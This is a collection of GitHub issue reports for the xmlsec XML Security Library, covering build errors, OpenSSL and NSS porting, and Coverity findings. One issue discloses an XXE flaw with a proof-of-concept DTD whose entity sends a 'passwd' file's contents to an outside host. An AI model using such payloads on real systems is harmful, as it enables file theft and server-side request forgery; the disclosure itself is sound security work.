configure.ac:13: installing './config.sub'
configure.ac:24: installing './install-sh'
configure.ac:24: installing './missing'
apps/Makefile.am: installing './depcomp'
Running autoconf...
Running configure --enable-maintainer-mode ...
checking build system type... x86_64-unknown-linux-gnu
checking host system type... x86_64-unknown-linux-gnu
[....]
checking for development environment... no
checking for man pages build... no
checking for docs build... no
checking for __FUNCTION__ or __func__... __func__
checking size of size_t... 8
checking for pkg-config... yes
./configure: line 13767: syntax error near unexpected token `LIBXML,'
./configure: line 13767: `    PKG_CHECK_MODULES(LIBXML, libxml-2.0 >= $LIBXML_MIN_VERSION,'

Now type 'make' to compile xmlsec.

Note that pkg-config is installed and running

I used win32/configure.js to generate makefile. When I run it in VS2015 command prompt I get an error:
..\src\xmlsec.c(113): error C2065: 'XMLSEC_DEFAULT_CRYPTO': undeclared identifier

I found out the generated makefile doesn't use $(APP_CFLAGS) for source files in XMLSEC_SRCDIR folder. Adding it there solves this issue. I think it should be fixed in the repo.

Hello,
Running Ubuntu 16.04, I have tried to compile xmlsec with openssl as a crypto backend library, but all my attempts have failed.
pkg-config is not installed, and I cannot use it in my situation, because my ultimate goal is to cross-compile Xmlsec, with non-system versions of its dependencies.

First tried ./configure --prefix=$PWD/INSTALLR --with-default-crypto=openssl, which failed with the following error checking for default crypto library... configure: error: 'openssl' is specified as default crypto library but it is not configured or found

This is most probably due to libcrypto.a being installed in /usr/lib/x86_64-linux-gnu.

I then tried ./configure --prefix=$PWD/INSTALLR --with-default-crypto=openssl --with-openssl=/usr/lib/x86_64-linux-gnu, which worked this time, but the make that followed failed, because the configure script set the wrong flags. Here is the make error: gcc: error: /usr/lib/x86_64-linux-gnu/lib/libcrypto.a: No such file or directory

The same error occurs even after setting properly the appropriate variables as follow:
OPENSSL_CFLAGS=-I/usr/include OPENSSL_LIBS=-L/usr/lib/x86_64-linux-gnu/.

Note that I was able to solve the issue for LIBXML using the appropriate variables, and I believe this should also be possible for openssl.
Alternatively, my LDFLAGS and CPPFLAGS are always correctly set with the appropriate -L and -I options resp. but neither the configure script not make seem to care about it, which is very unfortunate.

Could you please have a look, and if possible make the necessary changes so that Xmlsec can be cross-compiled?

Thanks

I am trying to build xmlsec on alpine.

Background: As of yesterday, xmlsec was added to alpine community packages, and as a backport for alpine 3.4. The next version of alpine will switch from openssl to libressl. I am trying to get xmlsec building against libressl so that the xmlsec package for alpine continues to work in the next version of alpine.

I am continuing the work started by: #45

RSA Encryption/Decryption using PKCS#1 v1.5 padding not currently
exposed in NSS. This causes some tests to fail.

NSS bug: http://bugzilla.mozilla.org/show_bug.cgi?id=214236

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=118628

John Belmonte [reporter] 2003-11-21 14:42:34 UTC

Depending on configure options, the installed man pages for xmlsec may
describe invalid options (for example, "--crypto"), unless a "make doc-man"
is run before "make install". However, "make doc-man" modifies files in
the source package, which may be a problem for package maintainers.
Another issue is that the dependencies for "make doc-man" (info2man and
man2html) may not normally be installed in the build environment.

The proposed solution is to have the configure script check for the
existence of info2man and man2html. If they do exist, then as part of the
install, the man pages are regenerated directly to their destination in the
install directory.

[reply] [−] Comment 1 John Belmonte [reporter] 2003-11-21 14:43:33 UTC

info2man --> help2man

Migrated from https://bugzilla.gnome.org/show_bug.cgi?id=127610

xmlsec-nss: CERT_FindCertByNameString does not work in all cases

NSS bug: http://bugzilla.mozilla.org/show_bug.cgi?id=210709

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=118631

It would be nice if xmlsec1 would support reading from stdin.

I'm currently using xmlsec1 as part of a tool chain written in Python, and it's a bit cumbersome to have to write out a file or resort to shell trickery instead of just piping the input in.

Ran Coverity Connect on xmlsec1-1.2.23. This is the last issue which it found, possible missing error check.

In xmlsec1-1.2.23/src/nodeset.c Coverity says:

CID 11180 (#1 of 1): Unchecked return value (CHECKED_RETURN)5. check_return: Calling xmlOutputBufferWriteString without checking return value (as is done elsewhere 11 out of 12 times).
520 xmlOutputBufferWriteString((xmlOutputBufferPtr)data,
521 (char*)(cur->content));

In xmlsec1-1.2.23/src/relationship.c (not shown), code review finds that error is checked for after every xmlOutputBufferWriteString() call.

Better to check for error after my #L520, your #L500 ?

where is CmakeLists.Txt?

Adding X509SubjectName generates additional text nodes below X509Data with just a CR:

<X509Data>

<X509Certificate>MIIE3zC...</X509Certificate>
<X509SubjectName>[email protected],CN=Aleksey Sanin,OU=Examples RSA Certificate,O=XML Security Library (http://www.aleksey.com/xmlsec),ST=California,C=US</X509SubjectName>
</X509Data>

To reproduce, change the sign3 example to instead of just add the empty X509Data:

xmlSecTmplKeyInfoAddX509Data(keyInfoNode);
if(x509DataNode == NULL) {
    fprintf(stderr, "Error: failed to add X509Data node\n");
    goto done;              
}

Include more key details:

x509DataNode = xmlSecTmplKeyInfoAddX509Data(keyInfoNode);
if(x509DataNode == NULL) {
    fprintf(stderr, "Error: failed to add X509Data node\n");
    goto done;              
}

if(xmlSecTmplX509DataAddSubjectName(x509DataNode) == NULL) {
    fprintf(stderr, "Error: failed to add X509SubjectName node\n");
    goto done;              
}

if(xmlSecTmplX509DataAddCertificate(x509DataNode) == NULL) {
    fprintf(stderr, "Error: failed to add X509Certificate node\n");
    goto done; 
}

It is likely there is an issue in xmlSecAddChild()

The cert chain construction/verification function
xmlSecMSCryptoX509StoreConstructCertsChain() is recursive. It's not too difficult to use a loop instead but I don't think this is important too much. If you do then feel free to submit a patch :)

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=123669

Kevin Turner [reporter] 2015-04-21 22:03:55 UTC

xmlsec-config allows overriding prefix and exec-prefix, but not libdir.

(We discovered this when attempting to install xmlsec in a heroku buildpack.

Migrated from https://bugzilla.gnome.org/show_bug.cgi?id=748267

Mitch BLank [reporter] 2016-01-20 17:26:30 UTC

Recently www.openssl.org has posted a series of alpha releases of OpenSSL 1.1.0, and asked people to test compatibility. Some packages have required tweaks, since some deprecated APIs have been retired, etc.

Particularly bad for src/openssl/ciphers.c is that structures like EVP_CIPHER_CTX are now only exposed as opaque pointer typedef's. The size and layout of those structures is now considered entirely private to the OpenSSL library.

For most users, this is a fairly mechanical change. i.e. if you had code that looks like:

  EVP_CIPHER_CTX cipherCtx;
  EVP_CIPHER_CTX_init(&cipherCtx);
  // [...]
  EVP_CIPHER_CTX_cleanup(&cipherCtx);

it would now become something like:

  EVP_CIPHER_CTX *pcipherCtx = EVP_CIPHER_CTX_new();
  if (pcipherCtx != NULL) {
    // [...]
    EVP_CIPHER_CTX_free(pcipherCtx);
  }

I started making the necessary changes to openssl/ciphers.c... at first it didn't look too bad, but eventually I started hitting the special padding code needed when compiling with any OpenSSL > 0.9.6 (i.e. any release in the last 10+ years) If you look in that file that refers to "RFC 1423" you'll see what I mean. It deeply digs inside the internals of EVP_CIPHER_CTX (->final_used, ->buf_len, etc) which isn't possible with the modernized OpenSSL API!

I don't know enough about the xmlsec padding to say whether or not there is a way to make modern OpenSSL do what is needed. The comments suggest that what is really needed is a xmlsec API change, but obviously that's not easy.

This isn't an emergency today since openssl 1.1.0 is still in alpha release, but it should come out "for real" fairly soon. At that point people will start hitting this compatibility issue pretty frequent

Migrated from https://bugzilla.gnome.org/show_bug.cgi?id=760895

Currently the only "trusted" certs are ones loaded to xmlsec directly (for
example, using xmlsec command line utility "--trusted" option). This means
that code does not accept trusted certs in MS Crypto store as such. There
are some functions that allow to check against trusted certs in MS Crypto
store. But MSDN says that these functions are not available in Windows
95/98/Me and partially not available in NT 4.0 and Windows 2000. Anyone
interested in more details feel free to search for "Certificate Chain
Verification Functions" article in MSDN. For me, it sounds like it would
be possible to use these new functions but I think it would be good to have
a runtime version check:
- if it's old Windows then use current code;
- if it's new Windows with new functions then use some new
code.

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=123668

The only supported file formats are PKCS#8, PKCS#12 and DER certificates.

Correction from Wouter: I don't think pkcs8 is supported by MS Crypto API.

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=123675

I'm trying to implement some code that signs attachments that are held in memory but thus exist outside of the XML we're parsing.

After some googling I stumbled upon a discussion with someone who had a similar goal who was directed to the xmlSecIORegisterCallbacks function to register their own URI loader. Eureka! I implemented my own handler, registered it with XMLSec, and then..... nothing...

The problem is because the default implementations are xmlIOHTTP*, xmlIOFTP* and xmlFile*, and specifically that last one. xmlFileMatch will always return true as it does no checking at all resulting in any custom handlers that follow afterwards to be ignored.

The solution would be to either change the position at which custom loaders are added or to find a way to read the xmlInputCallbackTable and copy all callbacks registered with libXML into XMLSec.

I'm trying to sign an xml document with my certificates, and for some reason it fails when using xmlsec1 1.2.18 (openssl) + OpenSSL 1.0.1f. The same certificates + xml files work fine on another machine which has xmlsec1 1.2.9 (openssl) + OpenSSL 0.9.8e-fips-rhel5.

The command I'm using is:
xmlsec1 --sign --output /tmp/signed.xml --pkcs12 mycert.p12 --pwd xxx --trusted-pem vrk.crt /tmp/msg.xml

The error I receive is:
func=xmlSecOpenSSLEvpSignatureExecute:file=signatures.c:line=491:obj=rsa-sha256:subj=EVP_SignFinal:error=4:crypto library function failed: func=xmlSecTransformDefaultPushBin:file=transforms.c:line=2207:obj=rsa-sha256:subj=xmlSecTransformExecute:error=1:xmlsec library function failed:final=1 func=xmlSecTransformIOBufferClose:file=transforms.c:line=2891:obj=rsa-sha256:subj=xmlSecTransformPushBin:error=1:xmlsec library function failed: func=xmlSecTransformC14NPushXml:file=c14n.c:line=279:obj=c14n:subj=xmlOutputBufferClose:error=5:libxml2 library function failed: func=xmlSecTransformCtxXmlExecute:file=transforms.c:line=1236:obj=unknown:subj=xmlSecTransformPushXml:error=1:xmlsec library function failed:transform=c14n func=xmlSecDSigCtxProcessSignatureNode:file=xmldsig.c:line=614:obj=unknown:subj=xmlSecTransformCtxXmlExecute:error=1:xmlsec library function failed: func=xmlSecDSigCtxSign:file=xmldsig.c:line=303:obj=unknown:subj=xmlSecDSigCtxSigantureProcessNode:error=1:xmlsec library function failed:

"crypto library function failed" would suggest the problem is in OpenSSL, right? How can I verify that? Running openssl pkcs12 -info -in mycert.p12 works just fine.
I also tried converting the p12 file to pem: openssl pkcs12 -in mycert.p12 -out mycert.pem -nodes, which works fine, but trying to sign with the pem file still gives the same error.

AES Key wrap algorithm is implemented in NSS but not exposed due to some
bug src/nss/kw_aes.c uses a workaround which should be removed when the bug
is fixed

NSS bug: http://bugzilla.mozilla.org/show_bug.cgi?id=213795

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=118635

in code "src/gcrypt/kw_aes.c"

function:

1. xmlSecGCryptKWAesBlockDecrypt
2. xmlSecGCryptKWAesBlockEncrypt

you use libgcrypt funtion but not close.

err = gcry_cipher_setkey(cipherCtx,
                         xmlSecBufferGetData(&ctx->keyBuffer),
                         xmlSecBufferGetSize(&ctx->keyBuffer));
if(err != GPG_ERR_NO_ERROR) {
    xmlSecGCryptError("gcry_cipher_setkey", err, NULL);
    return(-1);
}

/* use zero IV and CBC mode to ensure we get result as-is */
err = gcry_cipher_setiv(cipherCtx, g_zero_iv, sizeof(g_zero_iv));
if(err != GPG_ERR_NO_ERROR) {
    xmlSecGCryptError("gcry_cipher_setiv", err, NULL);
    return(-1);
}

why not use "gcry_cipher_close(cipherCtx);" to close "cipherCtx" when err.

sorry, my english is bad.

Description

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Whenever xmlsec verifies, encrypt, decrypt an XML document the parse by default reads external entities resulting on an XXE Vulnerability.

Proof of Concept

$ cat input.xml 
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.3.1/evil.dtd"> %remote;]>

Running a fake command to test:

matt at バトー in /tmp
$ xmlsec1 --verify --output /tmp/output.xml /tmp/input.xml 
http://23.252.63.90/evil.dtd:1: parser warning : not validating will not read content for PE entity data
passwd"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.3.2/?%data;'>"
                                                                               ^
/tmp/input.xml:2: parser error : Start tag expected, '<' not found

^
Error: failed to parse xml file "/tmp/input.xml"
Error: failed to load document "/tmp/input.xml"
ERROR
SignedInfo References (ok/all): 0/0
Manifests References (ok/all): 0/0
Error: failed to verify file "/tmp/input.xml"

Listener:

❯❯❯ ruby server_only.rb 
Puma 2.14.0 starting...
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://192.168.3.1:80
== Sinatra (v1.4.6) has taken the stage on 80 for development with backup from Puma
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd

Note: The same results were found as a result of trying to encrypt or decyrpt content.

Recommendations

It is my recommendation that the xmlsec library by default denies External Entities and local file inclusion and/or provides a command line option that can be used to block them.

For more information refer to:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

Ran Coverity Connect on xmlsec1-1.2.23. Found possible weakness 2X in Hash Message Authentication Code HMAC signature method due to unchecked error.

In xmlsec1-1.2.23/src/openssl/hmac.c Coverity says:

521 unsigned int dgstSize;
522
CID 11190 (#1 of 1): Unchecked return value (CHECKED_RETURN)23. check_return: Calling HMAC_Final without checking return value (as is done elsewhere 19 out of 22 times).
523 HMAC_Final(ctx->hmacCtx, ctx->dgst, &dgstSize);
524 xmlSecAssert2(dgstSize > 0, -1);

In openssl/1.0.0k/crypto/hmac/hmac.c proc HMAC_Final() (not shown), code review finds 3X error returns before its len variable could be set. len there corresponds to unititialized variable dgstSize here. Looks like code here has a good chance of apparently succeeding, despite earlier error in HMAC_Final().

Better to check for HMAC_Final() error after my #L523, your #L490 ?

Also in same source file:

CID 11171 (#1 of 1): Unchecked return value (CHECKED_RETURN)21. check_return: Calling HMAC_Update without checking return value (as is done elsewhere 32 out of 40 times).
507 HMAC_Update(ctx->hmacCtx, xmlSecBufferGetData(in), inSize);

Possibly less concern, but good practice to check for error after my #L507, your #L476 ?

Also from code review in same source file:

Possible typo #L14 'precise' not 'preciese' ?

Hi,
I'm trying to sign a X509 document which has nested another already signed XML. But when I try to sing it, XMLsec try to sign again that document and show the next error:

func=xmlSecXPathDataExecute:file=xpath.c:line=240:obj=unknown:subj=xmlXPtrEval:error=5:libxml2 library function failed:expr=xpointer(id('THIS_IS_THE_ID_FROM_THE_NESTED_XML')); xml error: 0: NULL\nfunc=xmlSecXPathDataListExecute:file=xpath.c:line=323:obj=unknown:subj=xmlSecXPathDataExecute:error=1:xmlsec library function failed: \nfunc=xmlSecTransformXPathExecute:file=xpath.c:line=424:obj=xpointer:subj=xmlSecXPathDataExecute:error=1:xmlsec library function failed: \nfunc=xmlSecTransformDefaultPushXml:file=transforms.c:line=2101:obj=xpointer:subj=xmlSecTransformExecute:error=1:xmlsec library function failed: \nfunc=xmlSecTransformCtxXmlExecute:file=transforms.c:line=1037:obj=xpointer:subj=xmlSecTransformPushXml:error=1:xmlsec library function failed: \nfunc=xmlSecTransformCtxExecute:file=transforms.c:line=1084:obj=unknown:subj=xmlSecTransformCtxXmlExecute:error=1:xmlsec library function failed: \nfunc=xmlSecDSigReferenceCtxProcessNode:file=xmldsig.c:line=1405:obj=unknown:subj=xmlSecTransformCtxExecute:error=1:xmlsec library function failed: \nfunc=xmlSecDSigCtxProcessReferences:file=xmldsig.c:line=750:obj=Reference:subj=xmlSecDSigReferenceCtxProcessNode:error=1:xmlsec library function failed: \nfunc=xmlSecDSigCtxProcessSignatureNode:file=xmldsig.c:line=512:obj=unknown:subj=xmlSecDSigCtxProcessReferences:error=1:xmlsec library function failed: \nfunc=xmlSecDSigCtxSign:file=xmldsig.c:line=286:obj=unknown:subj=xmlSecDSigCtxSignatureProcessNode:error=1:xmlsec library function failed: \nError: signature failed \nError: failed to sign file \"/tmp/unsigned-1500451577.xml20170719-27170-17osfvm\"\n

as you can see in this part:
function failed:expr=xpointer(id('THIS_IS_THE_ID)_FROM_THE_NESTED_XML'))
seems that the library is trying to sign the XML that was already signed.

The solutions that I tried were:

1. use the DTD to specify the ID as recommend in the documentation here in section 3.2. I got two different errors.
   1.1 if I specify just the ID that I want to I got the same error above.

<!DOCTYPE something [
            <!ATTLIST outsidetagname ID ID #IMPLIED>
          ]>

1.2 If I specify both IDs the document is not signed but I got an error but not a description

<!DOCTYPE something [
            <!ATTLIST insidetagname ID ID #IMPLIED>
            <!ATTLIST outsidetagname ID ID #IMPLIED>
          ]>

2. sing the --node-xpath option and the solution 1.2 together, I got this error:
   Segmentation fault (core dumped)

I appreciate any help from you.

Thanks

After upgrading Mac OS last night I'm unable to complete an install/build.

TRACE:

13:59 $  pip install xmlsec
Collecting xmlsec
  Using cached xmlsec-1.0.7.tar.gz
Requirement already satisfied: pkgconfig in /Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/lib/python3.5/site-packages (from xmlsec)
Requirement already satisfied: lxml>=3.0 in /Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/lib/python3.5/site-packages (from xmlsec)
Installing collected packages: xmlsec
  Running setup.py install for xmlsec ... error
    Complete output from command /Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/bin/python -u -c "import setuptools, tokenize;__file__='/private/var/folders/f3/4w6rj82s01501l91d6k941zc0000gn/T/pip-build-6j6_xzgx/xmlsec/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /var/folders/f3/4w6rj82s01501l91d6k941zc0000gn/T/pip-jzgxhtjm-record/install-record.txt --single-version-externally-managed --compile --install-headers /Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/include/site/python3.5/xmlsec:
    /Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/lib/python3.5/site-packages/Cython/Distutils/old_build_ext.py:30: UserWarning: Cython.Distutils.old_build_ext does not properly handle dependencies and is deprecated.
      "Cython.Distutils.old_build_ext does not properly handle dependencies "
    running install
    running build
    running build_ext
    building 'xmlsec' extension
    creating build
    creating build/temp.macosx-10.12-x86_64-3.5
    creating build/temp.macosx-10.12-x86_64-3.5/src
    clang -Wno-unused-result -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -DMODULE_NAME=xmlsec -DMODULE_DOC=Python bindings for the XML Security Library -DMODULE_VERSION=1.0.7 -I/Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/lib/python3.5/site-packages/lxml/includes/__pycache__ -I/Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/lib/python3.5/site-packages/lxml/includes -I/Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/lib/python3.5/site-packages/lxml -I/Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/include -I/Users/myUser/.pyenv/versions/3.5.2/include/python3.5m -c ./src/constants.c -o build/temp.macosx-10.12-x86_64-3.5/./src/constants.o -g -std=c99 -fno-strict-aliasing -Wno-error=declaration-after-statement -Werror=implicit-function-declaration -Os
    In file included from ./src/constants.c:11:
    In file included from ./src/constants.h:13:
    ./src/platform.h:15:10: fatal error: 'xmlsec/version.h' file not found
    #include <xmlsec/version.h>
             ^
    1 error generated.
    error: command 'clang' failed with exit status 1
    
    ----------------------------------------
Command "/Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/bin/python -u -c "import setuptools, tokenize;__file__='/private/var/folders/f3/4w6rj82s01501l91d6k941zc0000gn/T/pip-build-6j6_xzgx/xmlsec/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /var/folders/f3/4w6rj82s01501l91d6k941zc0000gn/T/pip-jzgxhtjm-record/install-record.txt --single-version-externally-managed --compile --install-headers /Users/myUser/.pyenv/versions/3.5.2/envs/myCompany.venv352/include/site/python3.5/xmlsec" failed with error code 1 in /private/var/folders/f3/4w6rj82s01501l91d6k941zc0000gn/T/pip-build-6j6_xzgx/xmlsec/

Hello,
based on xmlsec1 v1.2.22 release, I've created a patch file concerning openssl v1.1.0-pre5.
please take a look at this and let me known about possible causes/errors in this file.

best regards
hyazinth symma
[email protected]

xmlsec1-1.2.22-openssl-1.1.0-pre5.patch.zip

RSA-OAEP is not yet implemented in NSS.

NSS bug: http://bugzilla.mozilla.org/show_bug.cgi?id=158747

Migrated from: https://bugzilla.gnome.org/show_bug.cgi?id=118629

commit aaf82cc broke xmlSecKeyInfoNodeRead(), at least for the openssl crypto provider. Here is the problem:

In xmlSecOpenSSLX509DataNodeRead (src/openssl/x509.c:910) there is a loop that iterates over the child nodes. Before the commit there was an error check INSIDE THE LOOP. Here is what it used to be:

        if(ret < 0) {
            xmlSecError(XMLSEC_ERRORS_HERE,
                        xmlSecErrorsSafeString(xmlSecKeyDataGetName(data)),
                        xmlSecErrorsSafeString(xmlSecNodeGetName(cur)),
                        XMLSEC_ERRORS_R_XMLSEC_FAILED,
                        "read node failed");
            return(-1);
        }

Now with the commit each of the calls in the loop has it own error reporting code, for example:

            if(ret < 0) {
                xmlSecInternalError2("xmlSecOpenSSLX509CertificateNodeRead",
                                     xmlSecKeyDataGetName(data),
                                     "node=%s", xmlSecErrorsSafeString(xmlSecNodeGetName(cur)));
            }

However there are NO return(-1); statements inside any of the error checks, nor does the xmlSecInternalError2 macro execute a return. The consequence is the loop terminates despite errors and executes return(0); just prior to exiting the function.

The net result is that errors are no longer reported, the function always returns success.

I have not reviewed the rest of the commit to see if a similar mistake was made in any of the other crypto providers.

Ran Coverity Connect on xmlsec1-1.2.23. Found possible incorrect pointer dereference while writing namespace list for signature template.

In xmlsec1-1.2.23/src/templates.c Coverity says:

arith_non_null: The result of pointer arithmetic ++ptr is never null.
notnull: At condition ++ptr == NULL, the value of ++ptr cannot be NULL.
dead_error_condition: The condition ++ptr == NULL cannot be true.

2068 if((++ptr) == NULL) {
CID 11193 (#1 of 1): Logically dead code (DEADCODE)dead_error_begin: Execution cannot reach this statement: xmlSecError("templates.c", ....
2069 xmlSecError(XMLSEC_ERRORS_HERE,
2070 NULL,
2071 NULL,
2072 XMLSEC_ERRORS_R_INVALID_DATA,
2073 "unexpected end of ns list");
2074 return(-1);
2075 }
2076 href = *(ptr++);

My (xmlsec1-1.2.23 release) #L2068 is your (github master) #L1714 . Looks like the intent of this line is to advance pointer to current href, and make sure it is present. Should this be?:
2068 if((*(++ptr)) == NULL) {

#L2076 looks correct, get current href and advance pointer to next prefix.

Also in same source file, possible typo in comment 3X my #L{1929,1975,2012} your #L{1581,1624,1662} 'information' not 'infromation' ? Ditto my #L2012 your #1662 'XPointer' not 'XPoniter' ?

Hi!

The licensing table explains that Libgcrypt is under the GPL. This is not correct: Libgcrypt is distributed under the LGPL v2.1 and as such it is possible to use it even with proprietary applications as long as just the Libgcrypt source is made available. For practical reasons this means that Libgcrypt is best used as shared library or DLL.

I'd appreciate if the table can be changed to reflect this.

According to https://msdn.microsoft.com/en-us/library/b0084kay%28v=vs.120%29.aspx __func__ is available as of Visual Studio 2013

introduced in a8ad052#diff-d9904278dc010db60ae8f785beefa956R410

causes errors like (repeating for every use):

    ..\src\base64.c(159) : error C2065: '__func__' : undeclared identifier
    ..\src\base64.c(159) : warning C4047: 'function' : 'const char *' differs in levels of indirection from 'int'
    ..\src\base64.c(159) : warning C4024: 'xmlSecError' : different types for formal and actual parameter

Hi!

Let's say that my app uses XML DSig, and needs to distinguish these cases:

1. a signed xmldoc has valid signature;
2. a signed xmldoc has invalid signature, because document data and signature don't match;
3. a signed xmldoc has invalid signature, because the certificate has expired;
4. a signed xmldoc has invalid signature, because the certificate [chain] is not trusted;
   ... etc.

By the available examples and the API reference documentation, I can see that 1. is easy: xmlSecDSigCtx.status == xmlSecDSigStatusSucceeded.

But I don't see any way to distinguish 2. 3. 4. ...
xmlSecDSigStatus has only three documented values: "succeeded", "invalid", and "unknown" (????).

What does xmlSecDSigStatusUnknown mean?

How do I get verification failure reason programmatically?

I know 100% that libxmlsec has that reason at some point or another, both as an int code and as a string message; because the xmlsec1 CLI logs those.

Am I missing something? Please add an example, and explain what is xmlSecDSigStatusUnknown.